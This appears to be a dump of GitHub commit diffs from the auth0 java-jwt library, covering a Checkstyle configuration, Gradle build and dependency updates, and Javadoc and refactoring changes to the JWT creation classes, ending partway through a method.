+    <!-- Excludes all 'module-info.java' files              -->
+    <!-- See https://checkstyle.org/config_filefilters.html -->
+    <module name="BeforeExecutionExclusionFileFilter">
+        <property name="fileNamePattern" value="module\-info\.java$"/>
+    </module>
+    <!-- https://checkstyle.org/config_filters.html#SuppressionFilter -->
+    <module name="SuppressionFilter">
+        <property name="file" value="${org.checkstyle.google.suppressionfilter.config}"
+                  default="checkstyle-suppressions.xml" />
+        <property name="optional" value="true"/>
+    </module>
+
+    <!-- Checks for whitespace                               -->
+    <!-- See http://checkstyle.org/config_whitespace.html -->
+    <module name="FileTabCharacter">
+        <property name="eachLine" value="true"/>
+    </module>
+
+    <module name="LineLength">
+        <property name="fileExtensions" value="java"/>
+        <property name="max" value="120"/>
+        <property name="ignorePattern" value="^package.*|^import.*|a href|href|http://|https://|ftp://"/>
+    </module>
+
+    <module name="TreeWalker">
+        <module name="OuterTypeFilename"/>
+        <module name="IllegalTokenText">
+            <property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
+            <property name="format"
+                      value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
+            <property name="message"
+                      value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
+        </module>
+        <module name="Regexp">
+            <!-- . matches any character, so we need to escape it and use \. to match dots. -->
+            <property name="format" value="System\.out\.println"/>
+            <property name="illegalPattern" value="true"/>
+            <property name="message" value="Use of System.out.println is not allowed"/>
+        </module>
+        <module name="AvoidEscapedUnicodeCharacters">
+            <property name="allowEscapesForControlCharacters" value="true"/>
+            <property name="allowByTailComment" value="true"/>
+            <property name="allowNonPrintableEscapes" value="true"/>
+        </module>
+        <module name="OneTopLevelClass"/>
+        <module name="NoLineWrap">
+            <property name="tokens" value="PACKAGE_DEF, IMPORT, STATIC_IMPORT"/>
+        </module>
+        <module name="EmptyBlock">
+            <property name="option" value="TEXT"/>
+            <property name="tokens"
+                      value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
+        </module>
+        <module name="NeedBraces">
+            <property name="tokens"
+                      value="LITERAL_DO, LITERAL_ELSE, LITERAL_FOR, LITERAL_IF, LITERAL_WHILE"/>
+        </module>
+        <module name="LeftCurly">
+            <property name="tokens"
+                      value="ANNOTATION_DEF, CLASS_DEF, CTOR_DEF, ENUM_CONSTANT_DEF, ENUM_DEF,
+                    INTERFACE_DEF, LAMBDA, LITERAL_CASE, LITERAL_CATCH, LITERAL_DEFAULT,
+                    LITERAL_DO, LITERAL_ELSE, LITERAL_FINALLY, LITERAL_FOR, LITERAL_IF,
+                    LITERAL_SWITCH, LITERAL_SYNCHRONIZED, LITERAL_TRY, LITERAL_WHILE, METHOD_DEF,
+                    OBJBLOCK, STATIC_INIT, RECORD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="RightCurly">
+            <property name="id" value="RightCurlySame"/>
+            <property name="tokens"
+                      value="LITERAL_TRY, LITERAL_CATCH, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE,
+                    LITERAL_DO"/>
+        </module>
+        <module name="RightCurly">
+            <property name="id" value="RightCurlyAlone"/>
+            <property name="option" value="alone"/>
+            <property name="tokens"
+                      value="CLASS_DEF, METHOD_DEF, CTOR_DEF, LITERAL_FOR, LITERAL_WHILE, STATIC_INIT,
+                    INSTANCE_INIT, ANNOTATION_DEF, ENUM_DEF, INTERFACE_DEF, RECORD_DEF,
+                    COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="SuppressionXpathSingleFilter">
+            <!-- suppresion is required till https://github.com/checkstyle/checkstyle/issues/7541 -->
+            <property name="id" value="RightCurlyAlone"/>
+            <property name="query" value="//RCURLY[parent::SLIST[count(./*)=1]
+                                     or preceding-sibling::*[last()][self::LCURLY]]"/>
+        </module>
+        <module name="WhitespaceAfter">
+            <property name="tokens"
+                      value="COMMA, SEMI, TYPECAST, LITERAL_IF, LITERAL_ELSE,
+                    LITERAL_WHILE, LITERAL_DO, LITERAL_FOR, DO_WHILE, ELLIPSIS,
+                    LITERAL_SWITCH, LAMBDA"/>
+        </module>
+        <module name="WhitespaceAround">
+            <property name="allowEmptyConstructors" value="true"/>
+            <property name="allowEmptyLambdas" value="true"/>
+            <property name="allowEmptyMethods" value="true"/>
+            <property name="allowEmptyTypes" value="true"/>
+            <property name="allowEmptyLoops" value="true"/>
+            <property name="ignoreEnhancedForColon" value="false"/>
+            <property name="tokens"
+                      value="ASSIGN, BAND, BAND_ASSIGN, BOR, BOR_ASSIGN, BSR, BSR_ASSIGN, BXOR,
+                    BXOR_ASSIGN, COLON, DIV, DIV_ASSIGN, DO_WHILE, EQUAL, GE, GT, LAMBDA, LAND,
+                    LCURLY, LE, LITERAL_CATCH, LITERAL_DO, LITERAL_ELSE, LITERAL_FINALLY,
+                    LITERAL_FOR, LITERAL_IF, LITERAL_RETURN, LITERAL_SWITCH, LITERAL_SYNCHRONIZED,
+                    LITERAL_TRY, LITERAL_WHILE, LOR, LT, MINUS, MINUS_ASSIGN, MOD, MOD_ASSIGN,
+                    NOT_EQUAL, PLUS, PLUS_ASSIGN, QUESTION, RCURLY, SL, SLIST, SL_ASSIGN, SR,
+                    SR_ASSIGN, STAR, STAR_ASSIGN, LITERAL_ASSERT, TYPE_EXTENSION_AND"/>
+            <message key="ws.notFollowed"
+                     value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
+            <message key="ws.notPreceded"
+                     value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="OneStatementPerLine"/>
+        <module name="MultipleVariableDeclarations"/>
+        <module name="ArrayTypeStyle"/>
+        <module name="MissingSwitchDefault"/>
+        <module name="FallThrough"/>
+        <module name="UpperEll"/>
+        <module name="ModifierOrder"/>
+        <module name="EmptyLineSeparator">
+            <property name="tokens"
+                      value="PACKAGE_DEF, IMPORT, STATIC_IMPORT, CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                    STATIC_INIT, INSTANCE_INIT, METHOD_DEF, CTOR_DEF, VARIABLE_DEF, RECORD_DEF,
+                    COMPACT_CTOR_DEF"/>
+            <property name="allowNoEmptyLineBetweenFields" value="true"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapDot"/>
+            <property name="tokens" value="DOT"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapComma"/>
+            <property name="tokens" value="COMMA"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/259 -->
+            <property name="id" value="SeparatorWrapEllipsis"/>
+            <property name="tokens" value="ELLIPSIS"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/258 -->
+            <property name="id" value="SeparatorWrapArrayDeclarator"/>
+            <property name="tokens" value="ARRAY_DECLARATOR"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapMethodRef"/>
+            <property name="tokens" value="METHOD_REF"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="PackageName">
+            <property name="format" value="^[a-z]+(\.[a-z][a-z0-9]*)*$"/>
+            <message key="name.invalidPattern"
+                     value="Package name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="TypeName">
+            <property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                    ANNOTATION_DEF, RECORD_DEF"/>
+            <message key="name.invalidPattern"
+                     value="Type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MemberName">
+            <property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
+            <message key="name.invalidPattern"
+                     value="Member name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LambdaParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Lambda parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="CatchParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LocalVariableName">
+            <property name="format" value="^[a-z]([a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Local variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="PatternVariableName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Pattern variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ClassTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Class type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="RecordComponentName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Record component name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="RecordTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Record type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MethodTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Method type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="InterfaceTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Interface type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="NoFinalizer"/>
+        <module name="GenericWhitespace">
+            <message key="ws.followed"
+                     value="GenericWhitespace ''{0}'' is followed by whitespace."/>
+            <message key="ws.preceded"
+                     value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
+            <message key="ws.illegalFollow"
+                     value="GenericWhitespace ''{0}'' should followed by whitespace."/>
+            <message key="ws.notPreceded"
+                     value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="Indentation">
+            <property name="basicOffset" value="4"/>
+            <property name="braceAdjustment" value="2"/>
+            <property name="caseIndent" value="4"/>
+            <property name="throwsIndent" value="4"/>
+            <property name="lineWrappingIndentation" value="4"/>
+            <property name="arrayInitIndent" value="2"/>
+        </module>
+        <module name="AbbreviationAsWordInName">
+            <property name="ignoreFinal" value="false"/>
+            <property name="allowedAbbreviationLength" value="5"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, ANNOTATION_DEF, ANNOTATION_FIELD_DEF,
+                    PARAMETER_DEF, VARIABLE_DEF, METHOD_DEF, PATTERN_VARIABLE_DEF, RECORD_DEF,
+                    RECORD_COMPONENT_DEF"/>
+        </module>
+        <module name="NoWhitespaceBeforeCaseDefaultColon"/>
+        <module name="OverloadMethodsDeclarationOrder"/>
+        <module name="VariableDeclarationUsageDistance"/>
+        <module name="MethodParamPad">
+            <property name="tokens"
+                      value="CTOR_DEF, LITERAL_NEW, METHOD_CALL, METHOD_DEF,
+                    SUPER_CTOR_CALL, ENUM_CONSTANT_DEF, RECORD_DEF"/>
+        </module>
+        <module name="NoWhitespaceBefore">
+            <property name="tokens"
+                      value="COMMA, SEMI, POST_INC, POST_DEC, DOT,
+                    LABELED_STAT, METHOD_REF"/>
+            <property name="allowLineBreaks" value="true"/>
+        </module>
+        <module name="ParenPad">
+            <property name="tokens"
+                      value="ANNOTATION, ANNOTATION_FIELD_DEF, CTOR_CALL, CTOR_DEF, DOT, ENUM_CONSTANT_DEF,
+                    EXPR, LITERAL_CATCH, LITERAL_DO, LITERAL_FOR, LITERAL_IF, LITERAL_NEW,
+                    LITERAL_SWITCH, LITERAL_SYNCHRONIZED, LITERAL_WHILE, METHOD_CALL,
+                    METHOD_DEF, QUESTION, RESOURCE_SPECIFICATION, SUPER_CTOR_CALL, LAMBDA,
+                    RECORD_DEF"/>
+        </module>
+        <module name="OperatorWrap">
+            <property name="option" value="NL"/>
+            <property name="tokens"
+                      value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR,
+                    LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF,
+                    TYPE_EXTENSION_AND "/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationMostCases"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF,
+                      RECORD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationVariables"/>
+            <property name="tokens" value="VARIABLE_DEF"/>
+            <property name="allowSamelineMultipleAnnotations" value="true"/>
+        </module>
+        <module name="NonEmptyAtclauseDescription"/>
+        <module name="InvalidJavadocPosition"/>
+        <module name="JavadocTagContinuationIndentation"/>
+        <module name="SummaryJavadoc">
+            <property name="forbiddenSummaryFragments"
+                      value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
+        </module>
+        <module name="RequireEmptyLineBeforeBlockTagGroup"/>
+        <module name="AtclauseOrder">
+            <property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
+            <property name="target"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
+        </module>
+        <module name="JavadocMethod">
+            <property name="accessModifiers" value="public"/>
+            <property name="allowMissingParamTags" value="true"/>
+            <property name="allowMissingReturnTag" value="true"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="tokens" value="METHOD_DEF, CTOR_DEF, ANNOTATION_FIELD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="MissingJavadocMethod">
+            <property name="scope" value="public"/>
+            <property name="minLineCount" value="2"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="tokens" value="METHOD_DEF, CTOR_DEF, ANNOTATION_FIELD_DEF,
+                                   COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="MissingJavadocType">
+            <property name="scope" value="protected"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                      RECORD_DEF, ANNOTATION_DEF"/>
+            <property name="excludeScope" value="nothing"/>
+        </module>
+        <module name="SingleLineJavadoc"/>
+        <module name="EmptyCatchBlock">
+            <property name="exceptionVariableName" value="expected"/>
+        </module>
+        <module name="CommentsIndentation">
+            <property name="tokens" value="SINGLE_LINE_COMMENT, BLOCK_COMMENT_BEGIN"/>
+        </module>
+        <!-- https://checkstyle.org/config_filters.html#SuppressionXpathFilter -->
+        <module name="SuppressionXpathFilter">
+            <property name="file" value="${org.checkstyle.google.suppressionxpathfilter.config}"
+                      default="checkstyle-xpath-suppressions.xml" />
+            <property name="optional" value="true"/>
+        </module>
+    </module>
+</module>
\ No newline at end of fileu}(jG  (b1b248896cf1d8d7992411a62b45538bbaab66ebj  lib/build.gradlej  modifiedj  K-j  Kj  K2j  bhttps://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -2,6 +2,12 @@ plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
+    id 'checkstyle'
+}
+
+checkstyle {
+    toolVersion '10.0'
+    checkstyleTest.enabled = false //We are disabling lint checks for tests
 }
 
 logger.lifecycle("Using version ${version} for ${group}.${name}")
@@ -48,11 +54,16 @@ javadoc {
 
 dependencies {
     implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
-    testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
-    testImplementation 'junit:junit:4.12'
-    testImplementation 'net.jodah:concurrentunit:0.4.3'
-    testImplementation 'org.hamcrest:java-hamcrest:2.0.0.0'
-    testImplementation 'org.mockito:mockito-core:2.18.3'
+
+    testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
+    testImplementation 'junit:junit:4.13.2'
+    testImplementation 'net.jodah:concurrentunit:0.4.6'
+    testImplementation 'org.hamcrest:hamcrest:2.2'
+    testImplementation 'org.mockito:mockito-core:4.4.0'
+}
+
+jacoco {
+    toolVersion = "0.8.7"
 }
 
 jacocoTestReport {
@@ -87,6 +98,35 @@ task compileModuleInfoJava(type: JavaCompile) {
     }
 }
 
+compileTestJava {
+    options.compilerArgs = ['--release', "8", "-Xlint:deprecation"]
+}
+
+def testJava8 = tasks.register('testJava8', Test) {
+    description = 'Runs unit tests on Java 8.'
+    group = 'verification'
+
+    javaLauncher.set(javaToolchains.launcherFor {
+        languageVersion = JavaLanguageVersion.of(8)
+    })
+    shouldRunAfter(tasks.named('test'))
+}
+
+def testJava17 = tasks.register('testJava17', Test) {
+    description = 'Runs unit tests on Java 17.'
+    group = 'verification'
+
+    javaLauncher.set(javaToolchains.launcherFor {
+        languageVersion = JavaLanguageVersion.of(17)
+    })
+    shouldRunAfter(tasks.named('test'))
+}
+
+tasks.named('check') {
+    dependsOn(testJava8)
+    dependsOn(testJava17)
+}
+
 jar {
     manifest.attributes('Multi-Release': 'true')
 }u}(jG  (29ed3c1e79e06891aef59fe7fbd039bdf2d431b4j  .lib/src/main/java/com/auth0/jwt/ClockImpl.javaj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImpl.javaj  https://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImpl.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImpl.java?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  X  @@ -1,24 +0,0 @@
-package com.auth0.jwt;
-
-import com.auth0.jwt.interfaces.Clock;
-
-import java.util.Date;
-
-/**
- * Default Clock implementation used for verification.
- *
- * @see Clock
- * @see JWTVerifier
- * <p>
- * This class is thread-safe.
- */
-final class ClockImpl implements Clock {
-
-    ClockImpl() {
-    }
-
-    @Override
-    public Date getToday() {
-        return new Date();
-    }
-}u}(jG  (7af3c442102b4fda2ada66bf39944161415af03fj  1lib/src/main/java/com/auth0/jwt/HeaderParams.javaj  addedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X~  @@ -0,0 +1,29 @@
+package com.auth0.jwt;
+
+/**
+ * Contains constants representing the JWT header parameter names.
+ */
+public final class HeaderParams {
+
+    private HeaderParams() {}
+
+    /**
+     * The algorithm used to sign a JWT.
+     */
+    public static String ALGORITHM = "alg";
+
+    /**
+     * The content type of the JWT.
+     */
+    public static String CONTENT_TYPE = "cty";
+
+    /**
+     * The media type of the JWT.
+     */
+    public static String TYPE = "typ";
+
+    /**
+     * The key ID of a JWT used to specify the key for signature validation.
+     */
+    public static String KEY_ID = "kid";
+}u}(jG  (696abe4001c80b35a3c06626aa1bb4e2a6dbfab2j  (lib/src/main/java/com/auth0/jwt/JWT.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X,  @@ -6,6 +6,9 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 
+/**
+ * Exposes all the JWT functionalities.
+ */
 @SuppressWarnings("WeakerAccess")
 public class JWT {
 
@@ -22,11 +25,13 @@ public JWT() {
     /**
      * Decode a given Json Web Token.
      * <p>
-     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     * Note that this method <b>doesn't verify the token's signature!</b>
+     * Use it only if you trust the token or if you have already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
-     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt
+     *                            or JSON format of each of the jwt parts.
      */
     public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
         return new JWTDecoder(parser, token);
@@ -35,29 +40,31 @@ public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
     /**
      * Decode a given Json Web Token.
      * <p>
-     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     * Note that this method <b>doesn't verify the token's signature!</b>
+     * Use it only if you trust the token or if you have already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
-     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt
+     *                            or JSON format of each of the jwt parts.
      */
     public static DecodedJWT decode(String token) throws JWTDecodeException {
         return new JWTDecoder(token);
     }
 
     /**
-     * Returns a {@link JWTVerifier} builder with the algorithm to be used to validate token signature.
+     * Returns a {@link Verification} builder with the algorithm to be used to validate token signature.
      *
      * @param algorithm that will be used to verify the token's signature.
-     * @return {@link JWTVerifier} builder
+     * @return {@link Verification} builder
      * @throws IllegalArgumentException if the provided algorithm is null.
      */
     public static Verification require(Algorithm algorithm) {
         return JWTVerifier.init(algorithm);
     }
 
     /**
-     * Returns a Json Web Token builder used to create and sign tokens
+     * Returns a Json Web Token builder used to create and sign tokens.
      *
      * @return a token builder.
      */u}(jG  (a99f0fa010ba4b81b0c97a055105f1a844a7ecc8j  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj  modifiedj  Kj  KPj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XR  @@ -3,20 +3,20 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.JWTCreationException;
 import com.auth0.jwt.exceptions.SignatureGenerationException;
-import com.auth0.jwt.impl.ClaimsHolder;
-import com.auth0.jwt.impl.PayloadSerializer;
-import com.auth0.jwt.impl.PublicClaims;
+import com.auth0.jwt.impl.*;
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.MapperFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.module.SimpleModule;
 
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.*;
 import java.util.Map.Entry;
 
 /**
- * The JWTCreator class holds the sign method to generate a complete JWT (with Signature) from a given Header and Payload content.
+ * The JWTCreator class holds the sign method to generate a complete JWT (with Signature)
+ * from a given Header and Payload content.
  * <p>
  * This class is thread-safe.
  */
@@ -33,16 +33,18 @@ public final class JWTCreator {
     static {
         mapper = new ObjectMapper();
         module = new SimpleModule();
-        module.addSerializer(ClaimsHolder.class, new PayloadSerializer());
+        module.addSerializer(PayloadClaimsHolder.class, new PayloadSerializer());
+        module.addSerializer(HeaderClaimsHolder.class, new HeaderSerializer());
         mapper.registerModule(module);
         mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);
     }
 
-    private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {
+    private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims)
+            throws JWTCreationException {
         this.algorithm = algorithm;
         try {
-            headerJson = mapper.writeValueAsString(headerClaims);
-            payloadJson = mapper.writeValueAsString(new ClaimsHolder(payloadClaims));
+            headerJson = mapper.writeValueAsString(new HeaderClaimsHolder(headerClaims));
+            payloadJson = mapper.writeValueAsString(new PayloadClaimsHolder(payloadClaims));
         } catch (JsonProcessingException e) {
             throw new JWTCreationException("Some of the Claims couldn't be converted to a valid JSON format.", e);
         }
@@ -73,7 +75,6 @@ public static class Builder {
         /**
          * Add specific Claims to set as the Header.
          * If provided map is null then nothing is changed
-         * If provided map contains a claim with null value then that claim will be removed from the header
          *
          * @param headerClaims the values to use as Claims in the token's Header.
          * @return this same Builder instance.
@@ -96,13 +97,14 @@ public Builder withHeader(Map<String, Object> headerClaims) {
 
         /**
          * Add a specific Key Id ("kid") claim to the Header.
-         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider, the 'kid' value will be taken from that provider and this one will be ignored.
+         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider,
+         * the 'kid' value will be taken from that provider and this one will be ignored.
          *
          * @param keyId the Key Id value.
          * @return this same Builder instance.
          */
         public Builder withKeyId(String keyId) {
-            this.headerClaims.put(PublicClaims.KEY_ID, keyId);
+            this.headerClaims.put(HeaderParams.KEY_ID, keyId);
             return this;
         }
 
@@ -113,7 +115,7 @@ public Builder withKeyId(String keyId) {
          * @return this same Builder instance.
          */
         public Builder withIssuer(String issuer) {
-            addClaim(PublicClaims.ISSUER, issuer);
+            addClaim(RegisteredClaims.ISSUER, issuer);
             return this;
         }
 
@@ -124,7 +126,7 @@ public Builder withIssuer(String issuer) {
          * @return this same Builder instance.
          */
         public Builder withSubject(String subject) {
-            addClaim(PublicClaims.SUBJECT, subject);
+            addClaim(RegisteredClaims.SUBJECT, subject);
             return this;
         }
 
@@ -135,40 +137,79 @@ public Builder withSubject(String subject) {
          * @return this same Builder instance.
          */
         public Builder withAudience(String... audience) {
-            addClaim(PublicClaims.AUDIENCE, audience);
+            addClaim(RegisteredClaims.AUDIENCE, audience);
             return this;
         }
 
         /**
-         * Add a specific Expires At ("exp") claim to the Payload.
+         * Add a specific Expires At ("exp") claim to the payload. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param expiresAt the Expires At value.
          * @return this same Builder instance.
          */
         public Builder withExpiresAt(Date expiresAt) {
-            addClaim(PublicClaims.EXPIRES_AT, expiresAt);
+            addClaim(RegisteredClaims.EXPIRES_AT, expiresAt);
             return this;
         }
 
         /**
-         * Add a specific Not Before ("nbf") claim to the Payload.
+         * Add a specific Expires At ("exp") claim to the payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param expiresAt the Expires At value.
+         * @return this same Builder instance.
+         */
+        public Builder withExpiresAt(Instant expiresAt) {
+            addClaim(RegisteredClaims.EXPIRES_AT, expiresAt);
+            return this;
+        }
+
+        /**
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param notBefore the Not Before value.
          * @return this same Builder instance.
          */
         public Builder withNotBefore(Date notBefore) {
-            addClaim(PublicClaims.NOT_BEFORE, notBefore);
+            addClaim(RegisteredClaims.NOT_BEFORE, notBefore);
+            return this;
+        }
+
+        /**
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param notBefore the Not Before value.
+         * @return this same Builder instance.
+         */
+        public Builder withNotBefore(Instant notBefore) {
